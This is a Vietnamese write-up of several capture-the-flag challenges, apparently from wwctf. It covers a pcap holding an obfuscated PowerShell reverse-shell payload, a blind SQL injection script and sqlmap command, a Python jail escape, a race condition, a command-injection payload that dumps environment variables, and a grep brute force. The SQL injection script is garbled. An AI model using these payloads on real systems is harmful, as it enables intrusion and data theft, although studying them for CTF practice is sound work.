Beginner#

Nishang#

Analyze the provided network capture to uncover what was downloaded to the victim’s machine.

Chúng ta được cung cấp 1 file .pcap theo dõi luồng ta thấy có 1 file udujreghjs.ps1 được tải xuống, , vì vậy hãy xuất gói này. udujreghjs.ps1 chứa một chuỗi base64

Giãi mã base64 và bỏ hết các byte null ta được

1
((("{47}{90}{16}{94}{30}{84}{52}{111}{58}{56}{33}{106}{101}{23}{11}{73}{92}{14}{86}{49}{115}{113}{80}{70}{22}{98}{40}{10}{6}{67}{5}{69}{25}{44}{71}{45}{61}{57}{97}{99}{104}{110}{117}{109}{105}{91}{53}{51}{34}{100}{26}{21}{13}{116}{39}{24}{103}{78}{37}{72}{2}{7}{85}{8}{82}{55}{68}{75}{89}{12}{64}{43}{4}{3}{35}{77}{38}{32}{63}{93}{28}{17}{96}{79}{66}{36}{29}{87}{107}{108}{83}{48}{54}{1}{0}{112}{9}{102}{15}{31}{18}{81}{50}{88}{20}{76}{59}{65}{74}{60}{62}{41}{46}{114}{95}{27}{19}{42}"-f'.','t','n',')','ing ','};while((n','4','z0sendback ',' (i',']::ASCII)','L6','0n}1','2>&1 L6','ding',' nz0clie','etBytes(nz0sendb',' = Ne','endback',');n','lose(','rite','ASCIIEnco','= 0.','1','es,','0i = nz0str','.','nt.C','s','pwd)','Object System.','ack2','b','m3_','peName System.Tex',';nz0','(',')','nd','GetString(nz0byt','5','lush()',')
2
',' Out-Str','eam.Read','nz0b','};nz0','nz','yte = ','.GetStream();[byt','0s','y','So','ect -T','([tex',' nz','wwf{s0','z0b','ts.TCPClient(19R','byte,0','ength);nz0str','ytes, 0, n','eam.F','ac','4',',nz0sendbyte.','S 19R + ','%{0','0d','z','tes ','(',';','9R,9001);n','L','a','(nz0send','se','0i',' 19RP','nz0by','z','ex','9R;nz0sendb','Net.','=','nt','.Path ','tream.W','ta ','0client','bj','z0stream =','k2  = nz0','w-','ie',' +','y','.6553','tes.Length)) -ne 0){;nz0','t','l_0bfusc47','.G','0, nz','dat','O','p0w3r5h3l','+ 19R','> 1','New-','a = ','cke','encoding','[]]','cl','e',').','('))-rePLace  'L64',[ChaR]124-CrepLaCe([ChaR]49+[ChaR]57+[ChaR]82),[ChaR]39 -CrepLaCe  'nz0',[ChaR]36)|& ((gv '*mdR*').nAmE[3,11,2]-jOiN'')

Nó đã bị làm rối, về cơ bản chỉ là mảng, viết 1 mã python để giải

1
indexes = [47, 90, 16, 94, 30, 84, 52, 111, 58, 56, 33, 106, 101, 23, 11, 73, 92, 14, 86, 49, 115, 113, 80, 70, 22, 98, 40, 10, 6, 67, 5, 69, 25, 44, 71, 45, 61, 57, 97, 99, 104, 110, 117, 109, 105, 91, 53, 51, 34, 100, 26, 21, 13, 116, 39, 24, 103, 78, 37, 72, 2, 7, 85, 8, 82, 55, 68, 75, 89, 12, 64, 43, 4, 3, 35, 77, 38, 32, 63, 93, 28, 17, 96, 79, 66, 36, 29, 87, 107, 108, 83, 48, 54, 1, 0, 112, 9, 102, 15, 31, 18, 81, 50, 88, 20, 76, 59, 65, 74, 60, 62, 41, 46, 114, 95, 27, 19, 42]
2

3
codes = ['.','t','n',')','ing ','};while((n','4','z0sendback ',' (i',']::ASCII)','L6','0n}1','2>&1 L6','ding',' nz0clie','etBytes(nz0sendb',' = Ne','endback',');n','lose(','rite','ASCIIEnco','= 0.','1','es,','0i = nz0str','.','nt.C','s','pwd)','Object System.','ack2','b','m3_','peName System.Tex',';nz0','(',')','nd','GetString(nz0byt','5','lush()',')',' Out-Str','eam.Read','nz0b','};nz0','nz','yte = ','.GetStream();[byt','0s','y','So','ect -T','([tex',' nz','wwf{s0','z0b','ts.TCPClient(19R','byte,0','ength);nz0str','ytes, 0, n','eam.F','ac','4',',nz0sendbyte.','S 19R + ','%{0','0d','z','tes ','(',';','9R,9001);n','L','a','(nz0send','se','0i',' 19RP','nz0by','z','ex','9R;nz0sendb','Net.','=','nt','.Path ','tream.W','ta ','0client','bj','z0stream =','k2  = nz0','w-','ie',' +','y','.6553','tes.Length)) -ne 0){;nz0','t','l_0bfusc47','.G','0, nz','dat','O','p0w3r5h3l','+ 19R','> 1','New-','a = ','cke','encoding','[]]','cl','e',').','(']
4

5
code_str = ''
6
for i in indexes:
7
    code_str += codes[i]
8

9
code_str = code_str.replace('L64', chr(124))
10
code_str = code_str.replace(chr(49) + chr(57) + chr(82), chr(39))
11
code_str = code_str.replace('nz0', chr(36))
12
print(code_str)

The_Needle#

You are presented with a simple search tool, an interface to a vast and hidden archive of information. Your mission is to find a single, specific secret hidden within. The tool is your only guide, but it is notoriously cryptic. You’ll need to use clever queries and careful observation to uncover the prize.

Đọc source code ta thấy trang web này đã dính lỗ hổng SQLi, cụ thể là blind SQL injection ở tham số id, Cách đơn giản nhất ta có thể sử dụng công cụ SQLmap hoặc viết một mã python đơn giản

1
sqlmap -u "https://the-needle.chall.wwctf.com/index.php?id=1" --batch --dump

1
#!/usr/bin/env python3
2
import requests
3

4
base_url = "https://the-needle.chall.wwctf.com/?id="
5

6
for i in  range ( 1 , 50 ):
7
    sql = "' or (select length(information) from info) = %d -- -" % i
8
    url = base_url + sql
9
    r = requests.get(url) if "Yes, We found it !!" in r.text:
10
         print ( "[+] Cờ có %d ký tự" % i)
11
        flaglen = i break
12
flag = '' for j in range ( 1 , flaglen + 1 ):
13
     for x in range ( 32 , 127 ):
14
        sql = "' or substr((select information from info), %d, 1) = '%s' -- -" % (j, chr (x))
15
        url = base_url + sql
16
        r = requests.get(url) if "Yes, We found it !!" trong r.text:
17
            flag += chr (x)
18
             print ( "[+] flag is:" , flag)
19
             break print ( "[*] flag is:" , flag)

Based_64#

My friend gynvael told me that base64 has some interesting properties…

Về cơ bản, trông giống như một ký tự đơn được mã hóa base64 , nhưng có một chút khác biệt. Theo nguyên tắc của base64 , đối với ký tự thứ hai của mã hóa base64 của một ký tự đơn, bốn bit cuối cùng của bảng base64 phải bằng 0. Tuy nhiên, điều này không đúng, vì vậy chúng tôi trích xuất phần đó và giải mã thành số nhị phân.

1
#!/usr/bin/env python3
2
from string import *
3

4
chars = ascii_uppercase + ascii_lowercase + digits + '+/'
5

6
with open('based64.txt', 'r') as f:
7
    lines = f.read().splitlines()
8

9
bin_flag = ''
10
for line in lines:
11
    b0 = chars.index(line[0])
12
    b1 = chars.index(line[1])
13
    b = bin(b0)[2:].zfill(6) + bin(b1)[2:].zfill(6)
14
    bin_flag += b[-4:]
15

16
flag = ''
17
for i in range(0, len(bin_flag), 8):
18
    flag += chr(int(bin_flag[i:i+8], 2))
19
print(flag)

Có thể dùng kho lưu trữ này https://gist.github.com/dhondta/90a07d9d106775b0cd29bb51ffe15954 cũng rất hữu ích

Evil_Snek#

Help!! Evil snek has put me in jail and won’t let me execute whatever commands I want :( :( Can you help me break free?

1
#!/usr/bin/python3
2

3
def blacklist(cmd):
4
    if cmd.isascii() == False:
5
        return True
6
    bad_cmds = ['"',
7
                "'",
8
                "print",
9
                "_",
10
                ".",
11
                "import",
12
                "os",
13
                "lambda",
14
                "system",
15
                "(",
16
                ")",
17
                "getattr",
18
                "setattr",
19
                "globals",
20
                "builtins",
21
                "input",
22
                "compile",
23
                "eval",
24
                "exec",
25
                "open",
26
                "read"]
27
    for i in bad_cmds:
28
        if i in cmd:
29
            return True
30
    return False
31
while True:
32
    inp = input("> ")
33
    if not blacklist(inp):
34
        try:
35
            exec(inp)
36
        except Exception as e:
37
            print("snek says: Error!")
38
            exit(0)
39
    else:
40
        print("snek says: Blacklisted!")
41
        exit(0)

Trước đây tôi đã gặp 1 thử thách tương tự và bypass nó bằng cách đặt mảng những kí tự bị cấm bằng mảng rỗng, Tuy nhiên thử thách này bad_cmds có kí tự _ bị cấm nên cách này không có nghĩa

Giải pháp thay thể là chúng ta đặt blacklist=callable nó sẽ ghi đè hàm blacklist và trở thành callable() của Python có thể thực thi tất cả các lệnh tùy ý

Galactic_Shuttle#

Cùng một người dùng cần hai vé, nhưng điều này không thể thực hiện được do hệ thống. Tuy nhiên, có vẻ như Race Condition là có thể. Một luồng riêng biệt có thể đồng thời lấy được một vé và một cờ.

1
import requests
2
import threading
3

4
URL = "https://30f98a40a253d4b3d35f1f0f437f222a.chall.wwctf.com"
5
USER = "minhtuan"
6

7
def acquire():
8
    r = requests.get(f"{URL}/acquire", params={"user": USER})
9
    print(r.text)
10

11
threads = []
12
for _ in range(20):  # Gửi nhiều để tăng khả năng race condition
13
    t = threading.Thread(target=acquire)
14
    t.start()
15
    threads.append(t)
16

17
for t in threads:
18
    t.join()
19

20
# Sau đó kiểm tra flag
21
r = requests.get(f"{URL}/flag", params={"user": USER})
22
print("[*] FLAG RESPONSE:", r.text)

Web#

Domain_of_Doom#

Chỉ cần truy cập https://eb08eacc5488ed3c9d1557ecf76826bd.chall.wwctf.com/flag .

Domain_of_Doom_Revenge#

You’re querying domains, but some lead to dangerous places
The flag is hidden in an environment variable.

payload

1
google; sh -c env .com

Ta sẽ đọc file env sử dụng sh -c để thực thi lệnh và bỏ qua .com

Mics#

bf_jail#

I found this calculator on the roadside, don’t know why it’s broken

1
#!/usr/bin/env python3
2
import sys
3

4

5
def bf(code):
6
    output = ""
7
    s = []
8
    matches = {}
9
    tape = [0] * 1000000
10
    for i, j in enumerate(code):
11
        if j == "[":
12
            s.append(i)
13
        if j == "]":
14
            m = s.pop()
15
            matches[m] = i
16
            matches[i] = m
17
    cp = 0
18
    p = 0
19
    while cp < len(code):
20
        if code[cp] == "+":
21
            tape[p] = (tape[p] + 1) % 256
22
        if code[cp] == "-":
23
            tape[p] = (tape[p] - 1) % 256
24
        if code[cp] == ",":
25
            c = sys.stdin.read(1)
26
            tape[p] = (ord(c) if c else 0) % 256
27
        if code[cp] == ".":
28
            output += chr(tape[p])
29
        if code[cp] == "<":
30
            p -= 1
31
        if code[cp] == ">":
32
            p += 1
33
        if code[cp] == "[":
34
            if not tape[p]:
35
                cp = matches[cp]
36
        if code[cp] == "]":
37
            if tape[p]:
38
                cp = matches[cp]
39
        cp += 1
40

41
    return output
42

43

44
if __name__ == "__main__":
45
    code = input("> ")
46
    if len(code) > 200:
47
        print("200 chars max")
48
        sys.exit(0)
49
    if not all(c in set("+-<>[],.") for c in code):
50
        print("nope")
51
        exit(0)
52
    code = bf(code)
53
    exec(code)

Ta có thể thấy code chỉ cho thực thi mã brainfuck-language và giới hạn độ dài các kí tự là 200

Đơn giản là có thể thể mở một input mới bằng lệnh exec(input()) sẽ được chạy lệnh tùy ý

https://www.dcode.fr/brainfuck-language

Vibes#

Chúng ta kết nối nc đến server và nhập một lệnh bất kì và server chỉ trả về đúng hoặc không, Vì vậy chúng ta có thể brute force từng kí tự của flag bằng cách sử dụng grep

1
from pwn import *
2

3
context.log_level = 'error'
4
HOST = 'chal.wwctf.com'
5
PORT = 6001
6

7
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_'
8

9
def check_guess(guess):
10
    try:
11
        io = remote(HOST, PORT)
12
        io.recvuntil(b'> ')
13
        io.sendline(f'grep ^{guess} *')
14
        res = io.recvuntil(b'> ', drop=True).decode(errors='ignore')
15
        io.close()
16
        return 'Good Vibes' in res
17
    except:
18
        return False
19

20
flag = 'wwf{'
21

22
while not flag.endswith('}'):
23
    for c in charset:
24
        guess = flag + c
25
        print(f'Trying: {guess}')
26
        if check_guess(guess):
27
            flag += c
28
            print(f'[+] Found so far: {flag}')
29
            break
30
    else:
31
        print('[-] No match found for next char, stopping.')
32
        break
33

34
print(f'[🎉] Final Flag: {flag}')

Forensics#

Silver Moon#

Rumors whisper of a shadow moving beneath the Silver Moon.
Investigate the strange occurrences and reveal the demon’s hidden technique before it’s too late
WARNING: Do not run the malware file on your PC.
https://powershell.wwctf.com/